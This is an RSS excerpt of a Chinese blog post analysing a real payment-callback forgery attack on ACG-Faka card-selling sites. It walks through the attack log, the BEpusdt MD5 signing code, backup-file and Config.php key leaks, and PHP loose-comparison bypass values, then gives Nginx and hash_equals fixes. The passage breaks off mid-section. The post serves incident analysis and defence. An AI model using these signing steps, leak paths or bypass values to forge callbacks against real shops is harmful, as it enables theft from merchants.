<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>漏洞分析 on 逍遥笔记</title><link>https://blog.7qiang.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link><description>Recent content in 漏洞分析 on 逍遥笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><copyright>逍遥笔记</copyright><lastBuildDate>Thu, 13 Aug 2026 23:00:00 +0800</lastBuildDate><atom:link href="https://blog.7qiang.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.xml" rel="self" type="application/rss+xml"/><item><title>虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密</title><link>https://blog.7qiang.com/posts/acg-faka-bepusdt-callback-forgery-analysis/</link><pubDate>Thu, 13 Aug 2026 23:00:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/acg-faka-bepusdt-callback-forgery-analysis/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;一分钟速读：&lt;/strong&gt; 一个朋友的虚拟发卡站在一夜之间被批量盗走了上百张卡密。攻击者没有碰数据库，没有拿 Shell，甚至没有登录后台——他只是向一个公开的回调接口发送了一条精心构造的&amp;quot;支付成功&amp;quot;通知，系统就乖乖地把卡密吐了出来。本文从攻击日志逆向还原完整攻击链，揭示密钥泄露的两条路径——&lt;strong&gt;备份文件暴露&lt;/strong&gt;（官方公告确认）与 &lt;strong&gt;Nginx 配置错误导致 Config.php 源码可读&lt;/strong&gt;（日志分析发现），拆解回调签名机制的致命弱点，并用同一套方法对五个同类站点进行实测审计。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;事发后，ACG-Faka 官方发布了安全公告：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;严禁在网站根目录存放备份文件。&lt;/strong&gt; 近期排查发现，多个 V3 新版网站出现伪造支付回调，主要原因是在网站根目录存放了整站备份、数据库备份或 ZIP 压缩包。这些文件可被公网直接下载，其中通常包含支付密钥、货源接口密钥、数据库账号密码等敏感信息。攻击者获取后，可直接伪造支付回调并自动提取商品。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;公告一针见血：&lt;strong&gt;问题不在签名算法，而在密钥泄露。&lt;/strong&gt; 签名算法再安全，密钥被攻击者拿到了也白搭。&lt;/p&gt;
&lt;p&gt;那密钥是怎么泄露的？公告指出是备份文件，我们的日志分析还发现了另一条独立路径——Nginx 配置错误导致 PHP 源码直接暴露。两条路径殊途同归，都指向同一个运维盲区：&lt;strong&gt;敏感文件可被公网直接下载&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;虚拟发卡系统的核心流程很简单：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;用户下单 → 跳转支付网关 → 链上确认 → 网关回调通知 → 系统标记已付 → 释放卡密
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;问题出在第四步。支付网关（BEpusdt）向发卡系统（ACG-Faka）发送回调通知时，系统需要验证这条通知&lt;strong&gt;确实来自网关、而非攻击者伪造&lt;/strong&gt;。如果验证机制存在缺陷，攻击者就可以跳过真实支付，直接&amp;quot;通知&amp;quot;系统订单已付，白拿卡密。&lt;/p&gt;
&lt;p&gt;这不是假设场景。我拿到了一份真实攻击日志，下面是完整拆解。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一攻击复盘从日志还原-660-条请求"&gt;一、攻击复盘：从日志还原 660 条请求
&lt;/h2&gt;&lt;h3 id="11-攻击时间线"&gt;1.1 攻击时间线
&lt;/h3&gt;&lt;p&gt;通过分析受害站点的 Nginx Access Log，攻击者（IP: &lt;code&gt;203.27.106.***&lt;/code&gt;）的行为可以清晰地分为四个阶段：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;时间&lt;/th&gt;
 &lt;th&gt;阶段&lt;/th&gt;
 &lt;th&gt;行为&lt;/th&gt;
 &lt;th&gt;日志特征&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;14:22&lt;/td&gt;
 &lt;td&gt;路径探测&lt;/td&gt;
 &lt;td&gt;尝试 &lt;code&gt;/callback/BEpusdt&lt;/code&gt; vs &lt;code&gt;/callback.BEpusdt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;404 → 200，锁定正确路径格式&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;14:50&lt;/td&gt;
 &lt;td&gt;签名试探&lt;/td&gt;
 &lt;td&gt;发送全零签名 &lt;code&gt;000...000&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;29 字节响应 = &lt;code&gt;{&amp;quot;code&amp;quot;:0,&amp;quot;msg&amp;quot;:&amp;quot;sign error&amp;quot;}&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;17:01&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;源码窃取&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;反复请求 &lt;code&gt;/app/Pay/BEpusdt/Config/Config.php&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;200，响应体包含 PHP 源码&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;17:32&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;首次得手&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;发送携带正确签名的伪造回调&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;33 字节响应&lt;/strong&gt; = &lt;code&gt;{&amp;quot;code&amp;quot;:200,&amp;quot;msg&amp;quot;:&amp;quot;success&amp;quot;}&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;18:31+&lt;/td&gt;
 &lt;td&gt;批量收割&lt;/td&gt;
 &lt;td&gt;自动化脚本，每 6 秒一单&lt;/td&gt;
 &lt;td&gt;持续 33 字节成功响应&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注意 14:50 到 17:01 之间的两小时空白——攻击者在第一次签名试探失败后，&lt;strong&gt;没有继续暴力枚举签名&lt;/strong&gt;，而是转向了一个完全不同的方向：读源码。&lt;/p&gt;
&lt;h3 id="12-响应大小指纹"&gt;1.2 响应大小指纹
&lt;/h3&gt;&lt;p&gt;Nginx 日志中的 &lt;code&gt;body_bytes_sent&lt;/code&gt; 字段暴露了一切：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;29 字节 → {&amp;#34;code&amp;#34;:0,&amp;#34;msg&amp;#34;:&amp;#34;sign error&amp;#34;} # 签名错误，攻击失败
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;35 字节 → {&amp;#34;code&amp;#34;:0,&amp;#34;msg&amp;#34;:&amp;#34;handle not found&amp;#34;} # 插件不存在
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;33 字节 → {&amp;#34;code&amp;#34;:200,&amp;#34;msg&amp;#34;:&amp;#34;success&amp;#34;} # 攻击成功，订单被标记已付
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;当日志中突然出现 33 字节的响应时，攻击已经得手了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二回调签名机制为什么能被伪造"&gt;二、回调签名机制：为什么能被伪造
&lt;/h2&gt;&lt;h3 id="21-bepusdt-的签名算法"&gt;2.1 BEpusdt 的签名算法
&lt;/h3&gt;&lt;p&gt;BEpusdt 是一个 USDT 收款网关，当链上确认收款后，它向商户系统发送 HTTP POST 回调。签名计算方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;signature = MD5( 按字母排序的参数字符串 + API_TOKEN )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;具体来说：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 取所有非空参数（排除 signature 本身）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;signature&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 按 key 字母排序，拼接成 key=value&amp;amp; 格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sorted_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. 末尾拼接 API Token，取 MD5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sorted_str&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;商户端验证时，用自己存储的 API Token 重新计算签名，与收到的签名做比对。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个算法本身没有问题。&lt;/strong&gt; 问题在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果 API Token 泄露了，攻击者可以算出合法签名&lt;/li&gt;
&lt;li&gt;如果 API Token 为空，签名 = &lt;code&gt;MD5(params + &amp;quot;&amp;quot;)&lt;/code&gt;，任何人都能算&lt;/li&gt;
&lt;li&gt;如果比对方式有缺陷（PHP 弱类型），签名验证可被绕过&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="22-acg-faka-的回调处理流程"&gt;2.2 ACG-Faka 的回调处理流程
&lt;/h3&gt;&lt;p&gt;ACG-Faka 收到回调请求后的处理链：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/user/api/order/callback.{Handle}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;路由到对应插件（BEpusdt / Epusdt / Alipay）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;插件的 Signature.php 验证签名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;验证通过 → Order.php 更新订单状态 → 释放卡密
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;返回 &amp;#34;success&amp;#34;（BEpusdt）或 &amp;#34;ok&amp;#34;（Epusdt）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键文件：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;文件&lt;/th&gt;
 &lt;th&gt;作用&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;app/Pay/BEpusdt/Config/Config.php&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;存储 API Token（签名密钥）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;app/Pay/BEpusdt/Impl/Signature.php&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;签名验证逻辑&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;app/Service/Bind/Order.php&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;订单状态更新&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="三根因分析密钥泄露的两条路径--两重代码缺陷"&gt;三、根因分析：密钥泄露的两条路径 + 两重代码缺陷
&lt;/h2&gt;&lt;p&gt;攻击成功的前提是拿到 API Token。从目前掌握的信息看，攻击者有&lt;strong&gt;两条互相独立的路径&lt;/strong&gt;可以拿到密钥，命中任何一条就够了。&lt;/p&gt;
&lt;h3 id="31-路径一备份文件泄露官方公告确认"&gt;3.1 路径一：备份文件泄露（官方公告确认）
&lt;/h3&gt;&lt;p&gt;这是官方通告明确指出的主因。很多站长习惯用宝塔面板的&amp;quot;一键备份&amp;quot;功能，把整站打包成 &lt;code&gt;.zip&lt;/code&gt; 或 &lt;code&gt;.tar.gz&lt;/code&gt; 放在网站根目录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/www/wwwroot/faka/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── index.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── app/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── Pay/BEpusdt/Config/Config.php ← 包含 API Token
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── config/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── database.php ← 包含数据库密码
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── site_backup_20260810.zip ← 整站备份，包含以上所有文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── db_backup_20260810.sql ← 数据库导出，包含所有订单和卡密
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nginx 默认会把 &lt;code&gt;.zip&lt;/code&gt; 当静态文件返回。攻击者只需猜到文件名（常见模式：&lt;code&gt;backup.zip&lt;/code&gt;、&lt;code&gt;www.zip&lt;/code&gt;、域名.zip、日期.zip），就能&lt;strong&gt;一次性下载全站源码 + 数据库&lt;/strong&gt;，其中包括支付密钥、数据库凭据、货源接口密钥——全部明文。&lt;/p&gt;
&lt;p&gt;这比后面要说的 Config.php 泄露更严重，因为&lt;strong&gt;数据库备份里连卡密都有&lt;/strong&gt;，攻击者甚至不需要走伪造回调这条弯路。&lt;/p&gt;
&lt;h3 id="32-路径二nginx-配置错误导致-configphp-直接暴露"&gt;3.2 路径二：Nginx 配置错误导致 Config.php 直接暴露
&lt;/h3&gt;&lt;p&gt;这是我们在日志分析中发现的另一条路径。ACG-Faka 的 PHP 配置文件存放在 &lt;code&gt;/app/Pay/BEpusdt/Config/Config.php&lt;/code&gt;。如果 Nginx 没有做目录级 deny：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ❌ 缺少这条规则，攻击者可以直接请求 PHP 文件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;^/(app|config|runtime|vendor)/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;后果因 Nginx 对 &lt;code&gt;.php&lt;/code&gt; 的路由配置而异：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Nginx 配置&lt;/th&gt;
 &lt;th&gt;请求 Config.php 的结果&lt;/th&gt;
 &lt;th&gt;危险等级&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;.php&lt;/code&gt; 正确路由到 PHP-FPM&lt;/td&gt;
 &lt;td&gt;PHP 执行 &lt;code&gt;return [...]&lt;/code&gt;，输出为空（200 空响应）&lt;/td&gt;
 &lt;td&gt;⚠️ 中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;.php&lt;/code&gt; 未路由到 PHP-FPM（当静态文件返回）&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;PHP 源码原文输出，API Token 明文暴露&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;🔴 致命&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;第二种情况在宝塔面板上比想象中常见——如果 Nginx 的 &lt;code&gt;location ~ \.php$&lt;/code&gt; 规则只匹配了网站根目录下的 &lt;code&gt;.php&lt;/code&gt; 文件，深层路径（如 &lt;code&gt;/app/Pay/.../Config.php&lt;/code&gt;）的 &lt;code&gt;.php&lt;/code&gt; 可能不会交给 PHP-FPM 处理，而是被当成普通文本文件返回。&lt;/p&gt;
&lt;p&gt;攻击者直接看到了：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;api_url&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://pay.example.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;api_token&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;a1b2c3d4e5f6...&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ← 签名密钥，明文暴露
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们审计的五个站中，Config.php 都返回 200 空响应（PHP 正确执行了 &lt;code&gt;return []&lt;/code&gt;），Token 没有泄露。但&lt;strong&gt;路径可达本身就是隐患&lt;/strong&gt;——如果未来某次运维操作改了 PHP-FPM 配置，Token 就会暴露。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两条路径的关系：&lt;/strong&gt; 备份文件是&amp;quot;一锅端&amp;quot;，Config.php 是&amp;quot;精准窃取&amp;quot;。攻击者会两条路都试——先扫备份文件（自动化成本低），扫不到再尝试直接读 Config.php。实际攻击日志中两种行为都有出现。&lt;/p&gt;
&lt;h3 id="33-代码缺陷一php-弱类型比较高危"&gt;3.3 代码缺陷一：PHP 弱类型比较（高危）
&lt;/h3&gt;&lt;p&gt;即使 Token 没有泄露，BEpusdt 插件的签名比对方式也可能存在问题。如果 Signature.php 使用了 PHP 的 &lt;code&gt;==&lt;/code&gt;（宽松比较）而非 &lt;code&gt;===&lt;/code&gt;（严格比较）或 &lt;code&gt;hash_equals()&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ❌ 危险：PHP 弱类型比较
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$calculated_sign&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$received_sign&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 攻击向量：
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// - signature=0 → int(0) == &amp;#34;any_string&amp;#34; 在特定条件下为 true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// - signature=false → false == &amp;#34;&amp;#34; 为 true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// - signature=[] → 数组与字符串比较行为不可预测
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安全的实现应该是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ✅ 安全：类型检查 + 时序安全比较
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sign&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$sign&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$calculated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$sign&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;hash_equals()&lt;/code&gt; 的作用有两个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;防止类型混淆&lt;/strong&gt;——只接受字符串&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防止时序攻击&lt;/strong&gt;——比较耗时恒定，不会因为前几位匹配而提前返回&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="34-代码缺陷二回调端点无访问控制中危"&gt;3.4 代码缺陷二：回调端点无访问控制（中危）
&lt;/h3&gt;&lt;p&gt;回调端点 &lt;code&gt;/user/api/order/callback.BEpusdt&lt;/code&gt; 对任何 IP 开放。攻击者可以从任意位置发送请求，系统只靠签名验证来区分合法回调与伪造请求。&lt;/p&gt;
&lt;p&gt;理想状态下，应该叠加 IP 白名单：&lt;/p&gt;
